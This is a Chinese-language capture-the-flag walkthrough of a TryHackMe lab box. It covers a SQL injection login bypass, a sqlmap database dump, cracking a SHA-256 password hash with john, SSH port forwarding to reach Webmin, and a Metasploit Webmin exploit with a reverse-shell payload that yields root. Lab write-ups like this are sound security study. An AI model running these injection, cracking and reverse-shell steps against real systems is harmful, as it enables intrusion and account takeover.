端口扫描

只开放了两个端口,大概率是在80端口做文章了

Web

百度识图:杀手3主人公Agent 47

Sql注入

手注

在用户名输入:

‘or 1=1 – -

密码不填

查询语句变成

SELECT * FROM users WHERE username = ''or 1=1 -- -' AND password :=

前面为真,后面被注释,直接登录

被重定向到portal.php界面

SQLmap

直接跟着做

右键保存至文件

在SQLmap中运行

sqlmap -r /home/mikannse/request –dbms=mysql –dump

hash:ab5db915fc9cea6c78df88106c6500c57f2b52901ca6c0c6218f04122c3efd14

用户名:agent47

翻一下上面的记录,另外一个表名是post

密码爆破

先识别一下哈希的类型

hash-identifier ab5db915fc9cea6c78df88106c6500c57f2b52901ca6c0c6218f04122c3efd14

根据结果大概率是SHA-256

用john来爆破

将得到的哈希存到文本hash.txt

echo “ab5db915fc9cea6c78df88106c6500c57f2b52901ca6c0c6218f04122c3efd14” >hash.txt

john hash.txt –format=Raw-SHA256 –wordlist=/usr/share/wordlists/rockyou.txt

得到密码

videogamer124

用前面得到得到用户名和密码进行ssh

user.txt:649ac17b1480ac13ef1e4fa579dac95c

使用反向SSH隧道公开服务

reverse ssh原理类似这张图

socket概念不太懂,问下PPT

运行ss -tulpn

5个tcp socket

反向SSH端口转发指定将远程服务器主机上的给定端口转发到本地端的给定主机和端口。 -L 是本地隧道(您 <– 客户端)。如果某个站点被阻止,您可以将流量转发到您拥有的服务器并查看它。例如,如果 imgur 在工作中被阻止,您可以执行 ssh -L 9000:imgur.com:80 user@example.com。转到您计算机上的 localhost:9000,将使用您的其他服务器加载 imgur 流量。 -R 是远程隧道(您 –> 客户)。您将流量转发到其他服务器以供其他人查看。与上面的例子类似,但方向相反。

可以看到实际上主机上还有一个10000端口,

ssh -L 10000:localhost:10000 agent47@10.10.162.45

在本地web浏览器登录localhost:10000

可以看到CMS名字为Webmin

用户名密码试着用SSH的

成功登录

版本1.580

提权

先在msf里试着搜索Webmin,发现可以RCE,使用第一个(0)

看一下需要设置什么参数:

LHOST用的是THM给的VPN,

RHOST则是localhost

个人的理解是因为服务运行在本地上,所以是用VPN来打本地(?)

set payload cmd/unix/reverse

建立反向shell

然后 run!

cat /root/root.txt

碎碎念

近期打的比较简单的靶机,不过也学到了revser ssh这种新姿势